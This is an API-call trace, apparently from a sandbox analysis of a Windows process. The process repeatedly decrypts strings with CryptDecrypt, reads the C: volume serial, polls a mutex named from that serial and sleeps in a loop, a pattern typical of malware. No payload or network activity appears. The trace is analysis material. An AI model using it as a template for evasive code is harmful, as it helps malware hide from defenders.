	[0238.397] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0238.397] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689220 | out: hHeap=0x680000) returned 1
	[0238.397] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0238.397] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151700) returned 1
	[0238.397] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0238.397] CryptDecrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0238.397] CryptDestroyKey (hKey=0x151700) returned 1
	[0238.397] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0238.397] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c8
	[0238.397] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102
	[0238.397] CloseHandle (hObject=0x2c8) returned 1
	[0238.397] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0238.397] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0238.397] Sleep (dwMilliseconds=0x3e8) 
	[0239.500] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689068
	[0239.500] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151280) returned 1
	[0239.501] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0239.501] CryptDecrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689068, pdwDataLen=0xfcf9b8 | out: pbData=0x689068, pdwDataLen=0xfcf9b8) returned 1
	[0239.501] CryptDestroyKey (hKey=0x151280) returned 1
	[0239.501] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689040
	[0239.501] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689310
	[0239.501] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0239.501] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1515c0) returned 1
	[0239.501] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0239.501] CryptDecrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0239.501] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0239.501] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0239.501] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689040, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0239.501] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689310 | out: hHeap=0x680000) returned 1
	[0239.501] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689068 | out: hHeap=0x680000) returned 1
	[0239.501] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0239.501] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689040 | out: hHeap=0x680000) returned 1
	[0239.501] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0239.501] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151640) returned 1
	[0239.501] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0239.501] CryptDecrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0239.501] CryptDestroyKey (hKey=0x151640) returned 1
	[0239.501] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0239.501] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2e4
	[0239.501] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x0) returned 0x102
	[0239.501] CloseHandle (hObject=0x2e4) returned 1
	[0239.501] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0239.501] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0239.501] Sleep (dwMilliseconds=0x3e8) 
	[0240.514] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689180
	[0240.514] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151380) returned 1
	[0240.514] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0240.514] CryptDecrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689180, pdwDataLen=0xfcf9b8 | out: pbData=0x689180, pdwDataLen=0xfcf9b8) returned 1
	[0240.514] CryptDestroyKey (hKey=0x151380) returned 1
	[0240.515] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689158
	[0240.515] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6892e8
	[0240.515] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0240.515] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151740) returned 1
	[0240.515] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0240.515] CryptDecrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0240.515] CryptDestroyKey (hKey=0x151740) returned 1
	[0240.515] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0240.515] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689158, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0240.515] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6892e8 | out: hHeap=0x680000) returned 1
	[0240.515] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689180 | out: hHeap=0x680000) returned 1
	[0240.515] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0240.515] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689158 | out: hHeap=0x680000) returned 1
	[0240.515] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0240.515] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151580) returned 1
	[0240.515] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0240.515] CryptDecrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0240.515] CryptDestroyKey (hKey=0x151580) returned 1
	[0240.515] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0240.515] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2e4
	[0240.515] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x0) returned 0x102
	[0240.515] CloseHandle (hObject=0x2e4) returned 1
	[0240.515] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0240.515] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0240.515] Sleep (dwMilliseconds=0x3e8) 
	[0241.561] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689310
	[0241.561] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151440) returned 1
	[0241.561] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0241.561] CryptDecrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689310, pdwDataLen=0xfcf9b8 | out: pbData=0x689310, pdwDataLen=0xfcf9b8) returned 1
	[0241.561] CryptDestroyKey (hKey=0x151440) returned 1
	[0241.561] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6891a8
	[0241.561] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x688ff0
	[0241.561] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0241.561] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151440) returned 1
	[0241.561] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0241.561] CryptDecrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0241.561] CryptDestroyKey (hKey=0x151440) returned 1
	[0241.561] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0241.561] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6891a8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0241.561] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688ff0 | out: hHeap=0x680000) returned 1
	[0241.561] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689310 | out: hHeap=0x680000) returned 1
	[0241.561] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0241.561] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891a8 | out: hHeap=0x680000) returned 1
	[0241.561] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0241.562] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1514c0) returned 1
	[0241.562] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0241.562] CryptDecrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0241.562] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0241.562] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0241.562] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2cc
	[0241.562] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102
	[0241.562] CloseHandle (hObject=0x2cc) returned 1
	[0241.562] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0241.562] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0241.562] Sleep (dwMilliseconds=0x3e8) 
	[0242.563] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689068
	[0242.563] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151240) returned 1
	[0242.563] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0242.563] CryptDecrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689068, pdwDataLen=0xfcf9b8 | out: pbData=0x689068, pdwDataLen=0xfcf9b8) returned 1
	[0242.563] CryptDestroyKey (hKey=0x151240) returned 1
	[0242.563] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x688fc8
	[0242.563] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689180
	[0242.563] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0242.563] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151580) returned 1
	[0242.563] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0242.563] CryptDecrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0242.563] CryptDestroyKey (hKey=0x151580) returned 1
	[0242.563] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0242.563] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x688fc8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0242.563] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689180 | out: hHeap=0x680000) returned 1
	[0242.563] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689068 | out: hHeap=0x680000) returned 1
	[0242.563] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0242.564] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fc8 | out: hHeap=0x680000) returned 1
	[0242.564] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0242.564] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151400) returned 1
	[0242.564] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0242.564] CryptDecrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0242.564] CryptDestroyKey (hKey=0x151400) returned 1
	[0242.564] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0242.564] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2f4
	[0242.564] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x0) returned 0x102
	[0242.564] CloseHandle (hObject=0x2f4) returned 1
	[0242.564] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0242.564] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0242.564] Sleep (dwMilliseconds=0x3e8) 
	[0243.579] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x688ff0
	[0243.579] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151680) returned 1
	[0243.579] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0243.579] CryptDecrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688ff0, pdwDataLen=0xfcf9b8 | out: pbData=0x688ff0, pdwDataLen=0xfcf9b8) returned 1
	[0243.579] CryptDestroyKey (hKey=0x151680) returned 1
	[0243.579] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689130
	[0243.579] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689248
	[0243.579] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0243.581] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151600) returned 1
	[0243.582] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0243.582] CryptDecrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0243.582] CryptDestroyKey (hKey=0x151600) returned 1
	[0243.582] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0243.582] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689130, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0243.582] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689248 | out: hHeap=0x680000) returned 1
	[0243.582] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688ff0 | out: hHeap=0x680000) returned 1
	[0243.582] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0243.582] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689130 | out: hHeap=0x680000) returned 1
	[0243.582] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0243.582] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1512c0) returned 1
	[0243.582] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0243.582] CryptDecrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0243.582] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0243.582] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0243.582] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2e4
	[0243.582] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x0) returned 0x102
	[0243.582] CloseHandle (hObject=0x2e4) returned 1
	[0243.582] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0243.582] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0243.582] Sleep (dwMilliseconds=0x3e8) 
	[0244.594] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689158
	[0244.594] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151440) returned 1
	[0244.594] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0244.595] CryptDecrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689158, pdwDataLen=0xfcf9b8 | out: pbData=0x689158, pdwDataLen=0xfcf9b8) returned 1
	[0244.595] CryptDestroyKey (hKey=0x151440) returned 1
	[0244.595] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x688ff0
	[0244.595] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6891f8
	[0244.595] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68d030
	[0244.595] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1513c0) returned 1
	[0244.595] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0244.595] CryptDecrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d030, pdwDataLen=0xfcf990 | out: pbData=0x68d030, pdwDataLen=0xfcf990) returned 1
	[0244.595] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0244.595] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d030 | out: hHeap=0x680000) returned 1
	[0244.595] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x688ff0, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0244.595] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891f8 | out: hHeap=0x680000) returned 1
	[0244.595] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689158 | out: hHeap=0x680000) returned 1
	[0244.595] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0244.595] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688ff0 | out: hHeap=0x680000) returned 1
	[0244.595] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0244.595] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1513c0) returned 1
	[0244.595] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0244.595] CryptDecrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0244.595] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0244.595] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0244.595] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c0
	[0244.595] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0244.596] CloseHandle (hObject=0x2c0) returned 1
	[0244.596] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0244.596] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0244.596] Sleep (dwMilliseconds=0x3e8) 
	[0245.612] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689310
	[0245.612] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151440) returned 1
	[0245.612] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0245.612] CryptDecrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689310, pdwDataLen=0xfcf9b8 | out: pbData=0x689310, pdwDataLen=0xfcf9b8) returned 1
	[0245.612] CryptDestroyKey (hKey=0x151440) returned 1
	[0245.612] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6892e8
	[0245.612] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x688fc8
	[0245.612] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68cd38
	[0245.612] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151240) returned 1
	[0245.612] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0245.612] CryptDecrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68cd38, pdwDataLen=0xfcf990 | out: pbData=0x68cd38, pdwDataLen=0xfcf990) returned 1
	[0245.612] CryptDestroyKey (hKey=0x151240) returned 1
	[0245.612] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68cd38 | out: hHeap=0x680000) returned 1
	[0245.612] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6892e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
